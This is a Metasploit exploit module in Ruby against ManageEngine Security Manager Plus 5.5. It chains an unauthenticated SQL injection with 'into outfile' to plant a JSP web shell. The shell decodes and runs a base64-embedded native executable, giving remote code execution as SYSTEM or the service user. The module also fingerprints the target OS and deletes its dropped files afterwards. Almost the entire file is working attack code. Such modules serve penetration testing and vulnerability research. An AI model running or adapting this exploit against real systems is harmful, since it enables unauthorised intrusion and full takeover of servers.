##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Security Manager Plus 5.5 build 5505 SQL Injection",
'Description' => %q{
This module exploits a SQL injection found in ManageEngine Security Manager Plus
advanced search page, which results in remote code execution under the context of
SYSTEM in Windows; or as the user in Linux. Authentication is not required in order
to exploit this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence <xistence[at]0x90.nl>', # Discovery & Metasploit module
'sinn3r', # Improved Metasploit module
'egypt' # Improved Metasploit module
],
'References' =>
[
['EDB','22094'],
['BID', '56138']
],
'Platform' => ['win', 'linux'],
'Targets' =>
[
['Automatic', {}],
['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' }],
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => "Oct 18 2012"))
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 6262])
], self.class)
end
def check
res = sqli_exec(Rex::Text.rand_text_alpha(1))
if res and res.body =~ /Error during search/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def pick_target
return target if target.name != 'Automatic'
rnd_num = Rex::Text.rand_text_numeric(1)
rnd_fname = Rex::Text.rand_text_alpha(5) + ".txt"
outpath = "../../webapps/SecurityManager/#{rnd_fname}"
@clean_ups << outpath
sqli = "#{rnd_num})) union select @@version,"
sqli << (2..28).map {|e| e} * ","
sqli << " into outfile \"#{outpath}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
sqli_exec(sqli)
res = send_request_raw({'uri'=>"/#{rnd_fname}"})
# What @@version returns:
# Linux = 5.0.36-enterprise
# Windows = 5.0.36-enterprise-nt
if res and res.body =~ /\d\.\d\.\d\d\-enterprise\-nt/
print_status("#{rhost}:#{rport} - Target selected: #{targets[1].name}")
return targets[1] # Windows target
elsif res and res.body =~ /\d\.\d\.\d\d\-enterprise/
print_status("#{rhost}:#{rport} - Target selected: #{targets[2].name}")
return targets[2]
end
return nil
end
#
# We're in SecurityManager/bin at this point
#
def on_new_session(cli)
if target['Platform'] == 'linux'
print_warning("Malicious executable is removed during payload execution")
end
if cli.type == 'meterpreter'
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
end
@clean_ups.each { |f|
base = File.basename(f)
f = "../webapps/SecurityManager/#{base}"
print_warning("#{rhost}:#{rport} - Deleting: \"#{base}\"")
begin
if cli.type == 'meterpreter'
cli.fs.file.rm(f)
else
del_cmd = (@my_target['Platform'] == 'linux') ? 'rm' : 'del'
f = f.gsub(/\//, '\\') if @my_target['Platform'] == 'win'
cli.shell_command_token("#{del_cmd} \"#{f}\"")
end
print_good("#{rhost}:#{rport} - \"#{base}\" deleted")
rescue ::Exception => e
print_error("Unable to delete: #{e.message}")
end
}
end
#
# Embeds our executable in JSP
#
def generate_jsp_payload
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
native_payload = Rex::Text.encode_base64(generate_payload_exe(opts))
native_payload_name = Rex::Text.rand_text_alpha(rand(6)+3)
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)
var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)
if @my_target['Platform'] == 'linux'
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
chmod = %Q|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
Thread.sleep(200);
|
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
cleanup = %Q|
Thread.sleep(200);
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
else
chmod = ''
cleanup = ''
end
jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
byte[] #{var_raw} = null;
BufferedOutputStream #{var_ostream} = null;
try {
String #{var_buf} = "#{native_payload}";
BASE64Decoder #{var_decoder} = new BASE64Decoder();
#{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
String #{var_path} = #{var_tmp}.getAbsolutePath();
#{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
#{chmod}
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
#{cleanup}
} catch (Exception e) {
}
%>
|
jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')
jsp.unpack("H*")[0]
end
def sqli_exec(sqli_string)
cookie = 'STATE_COOKIE=&'
cookie << 'SecurityManager/ID/174/HomePageSubDAC_LIST/223/SecurityManager_CONTENTAREA_LIST/226/MainDAC_LIST/166&'
cookie << 'MainTabs/ID/167/_PV/174/selectedView/Home&'
cookie << 'Home/ID/166/PDCA/MainDAC/_PV/174&'
cookie << 'HomePageSub/ID/226/PDCA/SecurityManager_CONTENTAREA/_PV/166&'
cookie << 'HomePageSubTab/ID/225/_PV/226/selectedView/HomePageSecurity&'
cookie << 'HomePageSecurity/ID/223/PDCA/HomePageSubDAC/_PV/226&'
cookie << '_REQS/_RVID/SecurityManager/_TIME/31337; '
cookie << '2RequestsshowThreadedReq=showThreadedReqshow; '
cookie << '2RequestshideThreadedReq=hideThreadedReqhide;'
state_id = Rex::Text.rand_text_numeric(5)
send_request_cgi({
'method' => 'POST',
'uri' => "/STATE_ID/#{state_id}/jsp/xmlhttp/persistence.jsp",
'headers' => {
'Cookie' => cookie,
'Accept-Encoding' => 'identity'
},
'vars_get' => {
'reqType' =>'AdvanceSearch',
'SUBREQUEST' =>'XMLHTTP'
},
'vars_post' => {
'ANDOR' => 'and',
'condition_1' => 'OpenPorts@PORT',
'operator_1' => 'IN',
'value_1' => sqli_string,
'COUNT' => '1'
}
})
end
#
# Run the actual exploit
#
def inject_exec(out)
hex_jsp = generate_jsp_payload
rnd_num = Rex::Text.rand_text_numeric(1)
sqli = "#{rnd_num})) union select 0x#{hex_jsp},"
sqli << (2..28).map {|e| e} * ","
sqli << " into outfile \"#{out}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
print_status("#{rhost}:#{rport} - Trying SQL injection...")
sqli_exec(sqli)
fname = "/#{File.basename(out)}"
print_status("#{rhost}:#{rport} - Requesting #{fname}")
send_request_raw({'uri' => fname})
handler
end
def exploit
# This is used to collect files we want to delete later
@clean_ups = []
@my_target = pick_target
if @my_target.nil?
print_error("#{rhost}:#{rport} - Unable to select a target, we must bail.")
return
end
jsp_name = rand_text_alpha(rand(6)+3)
outpath = "../../webapps/SecurityManager/#{jsp_name + '.jsp'}"
@clean_ups << outpath
inject_exec(outpath)
end
end